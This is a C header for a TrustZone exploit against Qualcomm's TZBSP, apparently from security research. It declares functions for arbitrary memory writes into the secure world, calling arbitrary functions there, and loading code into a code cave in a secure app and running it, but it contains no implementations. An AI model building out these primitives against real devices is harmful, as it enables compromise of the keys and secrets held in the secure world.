#ifndef __TZBSP_EXPLOIT_H__
#define __TZBSP_EXPLOIT_H__

#include "QSEEComAPI.h"

/**
 * Writes the given DWORD into the given address in TZBSP.
 * @param handle The handle used to communicate with QSEECOM.
 * @param app The base address of the application in the "secure app" region.
 * @param value The value to be written.
 * @param address The address to which the value is written.
 */
void tzbsp_write_dword(struct qcom_wv_handle* handle, void* app, uint32_t value, uint32_t address);

/**
 * Writes the given data to the given address in TZBSP.
 * @param handle The handle used to communicate with QSEECOM.
 * @param app The base address of the application.
 * @param address The address to which the data is written.
 * @param data The data buffer (in the non-secure world) to be written.
 * @param length The length of the data to be written.
 */
void tzbsp_write_range(struct qcom_wv_handle* handle, void* app, uint32_t address, void* data, uint32_t length);

/**
 * Executes the given function within TZBSP, using the given arguments.
 * @param handle The handle used to communicate with QSEECOM.
 * @param app The base address of the application in the "secure app" region.
 * @param function_address The address of the function to be executed.
 * @param num_arguments The number of arguments the function expects
 * @param arg1 The first argument.
 * @param arg2 The second argument.
 * @param arg3 The third argument.
 * @param arg4 The fourth argument.
 * @param arg5 The fifth argument.
 * @param arg6 The sixth argument.
 * @param arg7 The seventh argument.
 * @return The executed function's return value.
 */
uint32_t tzbsp_execute_function(struct qcom_wv_handle* handle, void* app,
                                uint32_t function_address, uint32_t num_arguments,
								uint32_t arg1, uint32_t arg2, uint32_t arg3,
                                uint32_t arg4, uint32_t arg5, uint32_t arg6,
                                uint32_t arg7);

/**
 * Loads the given code into a code-cave in a loaded application, and executes it.
 * @param handle The handle used to communicate with QSEECOM.
 * @param app The base address of the application in the "secure app" region.
 * @param data The code chunk to be loaded.
 * @param length The length of the data to load.
 * @return The return code from the executed code. 
 */
uint32_t tzbsp_load_and_exec_chunk(struct qcom_wv_handle* handle, void* app, void* data, uint32_t length);

/**
 * Loads the given code from the file into a code-cave in a loaded application, and executes it.
 * @param handle The handle used to communicate with QSEECOM.
 * @param app The base address of the application in the "secure app" region.
 * @param path The path of the file containing the code to be loaded.
 * @param exec_res The result of the code's execution within TZ.
 * @return The return code from the executed code. 
 */
int tzbsp_load_and_exec_file(struct qcom_wv_handle* handle, void* app, const char* path, uint32_t* exec_res);

#endif
